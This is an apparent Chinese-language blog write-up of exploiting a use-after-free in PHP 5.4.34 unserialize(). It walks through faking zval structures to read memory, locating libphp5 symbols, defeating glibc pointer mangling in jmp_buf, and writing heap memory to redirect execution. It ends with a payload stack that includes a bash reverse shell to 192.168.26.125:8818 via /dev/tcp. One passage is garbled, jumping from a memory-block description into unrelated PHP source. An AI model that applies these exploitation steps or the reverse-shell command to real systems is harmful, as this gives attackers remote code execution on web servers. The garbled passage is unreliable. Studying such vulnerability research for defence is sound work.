之后下面我按照我的一些方式来实现对这个漏洞的利用,感谢龙哥提供的写堆栈方法。
环境搭建 原作者用的是php5.4.34,我也是用这个测试的,apache用的最新版。ubuntu32 。 编译php的时候有些坑啊,跟正题没啥关系,不啰嗦了,直接扔个我配置时的脚本吧。。。。
apt-get install gcc g++ make vim libxml2-dev apache2 apache2-devwget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirrortar -xzf mirrorcd php-5.4.34/./configure --with-apxs2=/usr/bin/apxs2make && make installcp php.ini-production /usr/local/lib/php.ini vi /etc/apache2/apache2.confaddtype application/x-httpd-php .php .htm .htmla2dismod mpm_eventa2enmod mpm_preforkservice apache2 restart
之后注意一点,我的apache使用php的方式是在php编译时生成了libphp5.so这个lib库,在apache配置里查找这个库的地址,比如我的是/usr/lib/apache2/modules/libphp5.so, 库里的偏移跟你的php的可执行文件的偏移肯定是不一样的,readelf的时候要read这个。
之后gdb调试的时候,建议让apache单线程运行,先source一下/etc/apache2/envvars ,之后gdb apache2 ,r -x,就可以调试了。
漏洞基本原理 该漏洞的基本原理请参照原作blog的第一部分。简述一下就是当序列化字符串中,在同一个生命域中如果出现了俩相同的key值,也就是相同的变量名的话,在反序列化的时候,后面的会把前面的覆盖,而此时前面的那个变量原来申请的内存空间就被free掉了,这时,我们可以通过序列化一个指针,指向hash表,而此时hash表中的那一项仍然指向刚刚被释放掉的变量内存,这样就发生了uaf。
序列化数据结构如下:
a – array 4 b – boolean 3 d – double 2 i – integer 1 o - common object r – reference 7 s - non-escaped binary string s - escaped binary string 6 c - custom object o – class 5 n – null 0 r - pointer reference u - unicode string 之后我们要泄漏任意内存的话,只要构造一个php的变量数据结构 zval (php使用的内部数据结构),之后让其指向我们需要读的内存就可以了。
struct _zval_struct { /* variable information */ zvalue_value value; /* value */ zend_uint refcount__gc; zend_uchar type; /* active type */ zend_uchar is_ref__gc;};typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct { char *val; int len; } str; hashtable *ht; /* hash table value */ zend_object_value obj;} zvalue_value;
根据原作在part1中给出的“使用pack() 伪造一个string zval结构”,如下:
类型(例子中用的是unsigned int) 地址(我们想要泄露的地址) 长度(我们想要泄露内存的长度) 参考标志(0) 数据类型(6,代表string类型) 这样我们只要在释放内存之后,立即申请一个假的zval,就可以重新使用这块内存,并读取任意地址了。
泄漏关键函数的地址 首先是确定大小端,之后是泄漏一个对象句柄的地址,这些在原作的part2部分已经有说明,不再赘述。 现在有一个对象句柄的地址了,之后干啥呢,要找到php库的基址。这个简单,只要找一个最小的句柄地址,往前搜就可以了,直到搜到elf的头部 \x7felf ,这个地址就是基址了。
找到这个基址之后,就是根据elf的文件结构,(查看程序员的自我修养),找到动态节,string table,符号表。这样的话,你想要哪个函数,就在string table里搜这个函数名,之后用这个偏移在符号表里找到函数地址就可以了。真正用的时候,记得加上基址。
接下来到了原作的第三部分,我们现在要找的东西跟原作是一样的:
zend_eval_string executor_globals jmp_buf zend_eval_string 是为了控制eip后,让他跳到这个地址上执行,这样就能执行任意php代码。 executor_globals这个是为了找到其结构中的jmp_buf,变量名叫bailout,第三部分讲了这些,我就不放原作的图了。 最蛋疼的地方是这个jmp_buf这是我们利用的关键,逆向该函数如下:
mov 0x4(%esp),%eax //eax == jmp_bufmov %ebx,(%eax) //第1个寄存器ebxmov %esi,0x4(%eax) //第2个寄存器esimov %edi,0x8(%eax) //第3个寄存器edilea 0x4(%esp),%ecxxor %gs:0x18,%ecxrol $0x9,%ecxmov %ecx,0x10(%eax) //第5个寄存器espmov (%esp),%ecxxor %gs:0x18,%ecxrol $0x9,%ecxmov %ecx,0x14(%eax) //第6个寄存器eipmov %ebp,0xc(%eax) //第4个寄存器ebp
所以在jmp_buf里寄存器的排列如下: ebx , esi , edi ,ebp ,esp , eip ,return_addr
我们只要控制eip就好,但是如果其他部分的值不对的话,要么执行完crash,要么直接crash,所以我们还是要把他们恢复出来。原作者已经在part3里说明了其使用了glibc有一个叫ptr_mangle宏进行混淆,我们如果要恢复eip和esp话需要先找到set_jmp的返回地址。这个需要找到 php_execute_script 这个函数地址。 具体的破解jmp_buf的方法请参照part3最后的视频部分,原作在其中做了讲解。
我们破解了jmp_buf之后就可以控制eip了,让他跳转到eval函数上执行,就可以执行任意php代码了,并且这种方式非常稳定,不会让apache crash。
写堆栈内存 这部分原作在part3中给出了一种直接写内存的方法,然而那个实在是有些深奥,他也没有仔细说明。这里我提供一种比较蛋疼的写堆栈的方法。
首先说明一下php中内存缓存块这个东西,缓存块在被free掉之后回到链上,当有新变量申请内存时,如果这个块的容量足够,则刚刚被释放的块立即从空闲链上拿下来使用。所以,我们只要先free掉一块内存,之后构造zval让其指向一个缓存块,之后再free掉该指针,之后立即反序列化一个新变量,那么变量的值就写入到刚刚被释放的缓存块中了。这是一种稳定的写堆栈方式。 缓存块的内存结构是这样的: xx 00 00 00 ( 0x10 <= xx 0) { phpwrite(buf, bufl); } } pclose_return = php_stream_close(stream); efree(buf);done:#if php_sigchild if (sig_handler) { signal(sigchld, sig_handler); }#endif if (d) { efree(d); } return pclose_return;err: pclose_return = -1; goto done;}
四个参数,前面俩好办,后面俩不想深究,直接看下源码,发现,后面俩参数只有当 type=2 时候才会用到,那就直接用type=0,用 exec 好了。
构造栈:
exec_type \x00\x00\x00\x00 php_code_addr jmp_buf的地址+44 exec_type exec_type php_code bash -c ‘bash -i >& /dev/tcp/192.168.26.125/8818 0>&1’\x00 exploit!如下:
成功反弹shell。
其实后面还有点问题,因为我把shell exit之后,php继续往下执行,结果apache crash掉了。。。。 crash时gdb状态如图:
也没继续往下看,其实已经差不多了,也就是调一下的事儿。
后记 如果大家有更好的思路,或者对原作的利用方式有更深刻的理解,欢迎与我讨论 :-)
